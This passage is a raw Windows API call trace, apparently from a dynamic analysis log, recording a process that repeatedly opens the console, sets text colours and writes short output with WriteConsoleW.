GetLastError () returned 0x0 [0117.856] CloseHandle (hObject=0x23) returned 1 [0117.857] GetLastError () returned 0x0 [0117.863] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0117.864] GetLastError () returned 0x0 [0117.864] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0117.864] GetLastError () returned 0x0 [0117.864] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0xc) returned 1 [0117.864] GetLastError () returned 0x0 [0117.866] CloseHandle (hObject=0x23) returned 1 [0117.866] GetLastError () returned 0x0 [0117.866] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.866] GetLastError () returned 0x0 [0117.866] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x5e8ec90 | out: lpMode=0x5e8ec90) returned 1 [0117.867] GetLastError () returned 0x0 [0117.872] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0117.873] GetLastError () returned 0x0 [0117.873] GetConsoleMode (in: hConsoleHandle=0x23, lpMode=0x5e8ec74 | out: lpMode=0x5e8ec74) returned 1 [0117.873] GetLastError () returned 0x0 [0117.877] WriteConsoleW (in: hConsoleOutput=0x23, lpBuffer=0x2bd8d84*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x5e8ec74, lpReserved=0x0 | out: lpBuffer=0x2bd8d84*, lpNumberOfCharsWritten=0x5e8ec74*=0x27) returned 1 [0117.878] GetLastError () returned 0x0 [0117.879] CloseHandle (hObject=0x23) returned 1 [0117.880] GetLastError () returned 0x0 [0117.886] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0117.886] GetLastError () returned 0x0 [0117.886] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0117.886] GetLastError () returned 0x0 [0117.886] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0x7) returned 1 [0117.887] GetLastError () returned 0x0 [0117.887] CloseHandle (hObject=0x23) returned 1 [0117.887] GetLastError () returned 0x0 [0117.893] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0117.894] GetLastError () returned 0x0 [0117.894] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0117.894] GetLastError () returned 0x0 [0117.894] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0x7) returned 1 [0117.894] GetLastError () returned 0x0 [0117.895] CloseHandle (hObject=0x23) returned 1 [0117.895] GetLastError () returned 0x0 [0117.901] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0117.901] GetLastError () returned 0x0 [0117.901] GetConsoleMode (in: hConsoleHandle=0x23, lpMode=0x5e8ecb4 | out: lpMode=0x5e8ecb4) returned 1 [0117.901] GetLastError () returned 0x0 [0117.902] WriteConsoleW (in: hConsoleOutput=0x23, lpBuffer=0x28f9a18*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ecb4, lpReserved=0x0 | out: lpBuffer=0x28f9a18*, lpNumberOfCharsWritten=0x5e8ecb4*=0x1) returned 1 [0117.902] GetLastError () returned 0x0 [0117.902] CloseHandle (hObject=0x23) returned 1 [0117.902] GetLastError () returned 0x0 [0117.908] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0117.909] GetLastError () returned 0x0 [0117.909] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8ec80 | out: lpConsoleScreenBufferInfo=0x5e8ec80) returned 1 [0117.909] GetLastError () returned 0x0 [0117.909] GetConsoleOutputCP () returned 0x1b5 [0117.909] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.909] GetLastError () returned 0x0 [0117.915] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27 [0117.915] GetLastError () returned 0x0 [0117.915] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0117.915] GetLastError () returned 0x0 [0117.919] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b [0117.920] GetLastError () returned 0x0 [0117.920] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0117.920] GetLastError () returned 0x0 [0117.924] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0117.924] GetLastError () returned 0x0 [0117.924] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0117.924] GetLastError () returned 0x0 [0117.925] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0xc) returned 1 [0117.925] GetLastError () returned 0x0 [0117.925] CloseHandle (hObject=0x2f) returned 1 [0117.925] GetLastError () returned 0x0 [0117.929] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0117.929] GetLastError () returned 0x0 [0117.929] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0117.930] GetLastError () returned 0x0 [0117.930] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0xc) returned 1 [0117.930] GetLastError () returned 0x0 [0117.930] CloseHandle (hObject=0x2f) returned 1 [0117.930] GetLastError () returned 0x0 [0117.935] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0117.935] GetLastError () returned 0x0 [0117.935] GetConsoleMode (in: hConsoleHandle=0x2f, lpMode=0x5e8ec74 | out: lpMode=0x5e8ec74) returned 1 [0117.935] GetLastError () returned 0x0 [0117.935] WriteConsoleW (in: hConsoleOutput=0x2f, lpBuffer=0x2bd92a0*, nNumberOfCharsToWrite=0x11, lpNumberOfCharsWritten=0x5e8ec74, lpReserved=0x0 | out: lpBuffer=0x2bd92a0*, lpNumberOfCharsWritten=0x5e8ec74*=0x11) returned 1 [0117.936] GetLastError () returned 0x0 [0117.936] CloseHandle (hObject=0x2f) returned 1 [0117.936] GetLastError () returned 0x0 [0117.942] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0117.942] GetLastError () returned 0x0 [0117.942] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0117.942] GetLastError () returned 0x0 [0117.942] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0117.943] GetLastError () returned 0x0 [0117.943] CloseHandle (hObject=0x2f) returned 1 [0117.943] GetLastError () returned 0x0 [0117.949] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0117.949] GetLastError () returned 0x0 [0117.949] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0117.949] GetLastError () returned 0x0 [0117.950] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0117.950] GetLastError () returned 0x0 [0117.950] CloseHandle (hObject=0x2f) returned 1 [0117.950] GetLastError () returned 0x0 [0117.956] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0117.956] GetLastError () returned 0x0 [0117.956] GetConsoleMode (in: hConsoleHandle=0x2f, lpMode=0x5e8ecb4 | out: lpMode=0x5e8ecb4) returned 1 [0117.956] GetLastError () returned 0x0 [0117.956] WriteConsoleW (in: hConsoleOutput=0x2f, lpBuffer=0x28f9a18*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ecb4, lpReserved=0x0 | out: lpBuffer=0x28f9a18*, lpNumberOfCharsWritten=0x5e8ecb4*=0x1) returned 1 [0117.957] GetLastError () returned 0x0 [0117.957] CloseHandle (hObject=0x2f) returned 1 [0117.957] GetLastError () returned 0x0 [0117.962] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0117.963] GetLastError () returned 0x0 [0117.963] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8ec80 | out: lpConsoleScreenBufferInfo=0x5e8ec80) returned 1 [0117.963] GetLastError () returned 0x0 [0117.964] GetConsoleOutputCP () returned 0x1b5 [0117.964] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.964] GetLastError () returned 0x0 [0117.969] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33 [0117.970] GetLastError () returned 0x0 [0117.970] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0117.970] GetLastError () returned 0x0 [0117.976] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37 [0117.976] GetLastError () returned 0x0 [0117.976] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0117.976] GetLastError () returned 0x0 [0117.982] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0117.982] GetLastError () returned 0x0 [0117.982] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0117.983] GetLastError () returned 0x0 [0117.983] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0xc) returned 1 [0117.983] GetLastError () returned 0x0 [0117.983] CloseHandle (hObject=0x3b) returned 1 [0117.983] GetLastError () returned 0x0 [0117.989] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0117.989] GetLastError () returned 0x0 [0117.989] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0117.989] GetLastError () returned 0x0 [0117.989] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0xc) returned 1 [0117.989] GetLastError () returned 0x0 [0117.990] CloseHandle (hObject=0x3b) returned 1 [0117.990] GetLastError () returned 0x0 [0117.995] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0117.996] GetLastError () returned 0x0 [0117.996] GetConsoleMode (in: hConsoleHandle=0x3b, lpMode=0x5e8ec74 | out: lpMode=0x5e8ec74) returned 1 [0117.996] GetLastError () returned 0x0 [0117.996] WriteConsoleW (in: hConsoleOutput=0x3b, lpBuffer=0x2bd96ac*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x5e8ec74, lpReserved=0x0 | out: lpBuffer=0x2bd96ac*, lpNumberOfCharsWritten=0x5e8ec74*=0x46) returned 1 [0117.996] GetLastError () returned 0x0 [0117.997] CloseHandle (hObject=0x3b) returned 1 [0117.997] GetLastError () returned 0x0 [0118.002] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0118.002] GetLastError () returned 0x0 [0118.002] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.003] GetLastError () returned 0x0 [0118.003] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0118.003] GetLastError () returned 0x0 [0118.003] CloseHandle (hObject=0x3b) returned 1 [0118.003] GetLastError () returned 0x0 [0118.009] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0118.009] GetLastError () returned 0x0 [0118.009] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.009] GetLastError () returned 0x0 [0118.009] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0118.009] GetLastError () returned 0x0 [0118.010] CloseHandle (hObject=0x3b) returned 1 [0118.010] GetLastError () returned 0x0 [0118.014] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0118.015] GetLastError () returned 0x0 [0118.015] GetConsoleMode (in: hConsoleHandle=0x3b, lpMode=0x5e8ecb4 | out: lpMode=0x5e8ecb4) returned 1 [0118.015] GetLastError () returned 0x0 [0118.015] WriteConsoleW (in: hConsoleOutput=0x3b, lpBuffer=0x28f9a18*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ecb4, lpReserved=0x0 | out: lpBuffer=0x28f9a18*, lpNumberOfCharsWritten=0x5e8ecb4*=0x1) returned 1 [0118.015] GetLastError () returned 0x0 [0118.015] CloseHandle (hObject=0x3b) returned 1 [0118.015] GetLastError () returned 0x0 [0118.021] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0118.021] GetLastError () returned 0x0 [0118.021] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8ec80 | out: lpConsoleScreenBufferInfo=0x5e8ec80) returned 1 [0118.022] GetLastError () returned 0x0 [0118.022] GetConsoleOutputCP () returned 0x1b5 [0118.022] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0118.022] GetLastError () returned 0x0 [0118.027] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0118.028] GetLastError () returned 0x0 [0118.028] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.028] GetLastError () returned 0x0 [0118.034] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43 [0118.034] GetLastError () returned 0x0 [0118.034] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x43, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.034] GetLastError () returned 0x0 [0118.039] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0118.039] GetLastError () returned 0x0 [0118.039] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.040] GetLastError () returned 0x0 [0118.040] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0xc) returned 1 [0118.040] GetLastError () returned 0x0 [0118.040] CloseHandle (hObject=0x47) returned 1 [0118.040] GetLastError () returned 0x0 [0118.046] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0118.047] GetLastError () returned 0x0 [0118.047] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.047] GetLastError () returned 0x0 [0118.047] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0xc) returned 1 [0118.047] GetLastError () returned 0x0 [0118.048] CloseHandle (hObject=0x47) returned 1 [0118.048] GetLastError () returned 0x0 [0118.053] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0118.054] GetLastError () returned 0x0 [0118.054] GetConsoleMode (in: hConsoleHandle=0x47, lpMode=0x5e8ec74 | out: lpMode=0x5e8ec74) returned 1 [0118.054] GetLastError () returned 0x0 [0118.054] WriteConsoleW (in: hConsoleOutput=0x47, lpBuffer=0x2bd9c4c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5e8ec74, lpReserved=0x0 | out: lpBuffer=0x2bd9c4c*, lpNumberOfCharsWritten=0x5e8ec74*=0x4f) returned 1 [0118.054] GetLastError () returned 0x0 [0118.054] CloseHandle (hObject=0x47) returned 1 [0118.055] GetLastError () returned 0x0 [0118.060] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0118.061] GetLastError () returned 0x0 [0118.061] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.061] GetLastError () returned 0x0 [0118.061] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0118.062] GetLastError () returned 0x0 [0118.062] CloseHandle (hObject=0x47) returned 1 [0118.062] GetLastError () returned 0x0 [0118.067] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0118.069] GetLastError () returned 0x0 [0118.069] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.069] GetLastError () returned 0x0 [0118.069] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0118.069] GetLastError () returned 0x0 [0118.069] CloseHandle (hObject=0x47) returned 1 [0118.070] GetLastError () returned 0x0 [0118.075] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0118.076] GetLastError () returned 0x0 [0118.076] GetConsoleMode (in: hConsoleHandle=0x47, lpMode=0x5e8ecb4 | out: lpMode=0x5e8ecb4) returned 1 [0118.076] GetLastError () returned 0x0 [0118.076] WriteConsoleW (in: hConsoleOutput=0x47, lpBuffer=0x28f9a18*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5e8ecb4, lpReserved=0x0 | out: lpBuffer=0x28f9a18*, lpNumberOfCharsWritten=0x5e8ecb4*=0x1) returned 1 [0118.077] GetLastError () returned 0x0 [0118.077] CloseHandle (hObject=0x47) returned 1 [0118.077] GetLastError () returned 0x0 [0118.083] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0118.083] GetLastError () returned 0x0 [0118.083] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8ec80 | out: lpConsoleScreenBufferInfo=0x5e8ec80) returned 1 [0118.083] GetLastError () returned 0x0 [0118.083] GetConsoleOutputCP () returned 0x1b5 [0118.084] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0118.084] GetLastError () returned 0x0 [0118.089] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0118.089] GetLastError () returned 0x0 [0118.090] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.090] GetLastError () returned 0x0 [0118.095] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0118.095] GetLastError () returned 0x0 [0118.095] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0118.096] GetLastError () returned 0x0 [0118.101] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0118.101] GetLastError () returned 0x0 [0118.101] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.126] GetLastError () returned 0x0 [0118.126] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0xc) returned 1 [0118.126] GetLastError () returned 0x0 [0118.126] CloseHandle (hObject=0x53) returned 1 [0118.127] GetLastError () returned 0x0 [0118.132] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0118.133] GetLastError () returned 0x0 [0118.133] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0118.133] GetLastError () returned 0x0 [0118.133] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0xc) returned 1 [0118.133] GetLastError () returned 0x0 [0118.133] CloseHandle (hObject=0x53) returned 1 [0118.133] GetLastError () returned 0x0 [0118.139] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0118.139] GetLastError () returned 0x0 [0118.139] GetConsoleMode (in: hConsoleHandle=0x53, lpMode=0x5e8ec74 | out: lpMode=0x5e8ec74) returned 1 [0118.140] GetLastError () returned 0x0 [0118.140] WriteConsoleW (in: hConsoleOutput=0x53, lpBuffer=0x2bda0f4*, nNumberOfCharsToWrite=0xd, lpNumberOfCharsWritten=0x5e8ec74, lpReserved=0x0 | out: lpBuffer=0x2bda0f4*, lpNumberOfCharsWritten=0x5e8ec74*=0xd) returned 1 [0118.140] GetLastError () returned 0x0 [0118.140] CloseHandle (hObject=0x53) returned 1 [0118.141] GetLastError () returned 0x0 [0118.146] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0118.146] GetLastError () returned 0x0 [0118.146] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.147] GetLastError () returned 0x0 [0118.147] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0x7) returned 1 [0118.147] GetLastError () returned 0x0 [0118.147] CloseHandle (hObject=0x53) returned 1 [0118.147] GetLastError () returned 0x0 [0118.152] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0118.153] GetLastError () returned 0x0 [0118.153] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5e8ec24 | out: lpConsoleScreenBufferInfo=0x5e8ec24) returned 1 [0118.153] GetLastError () returned 0x0 [0118.153] 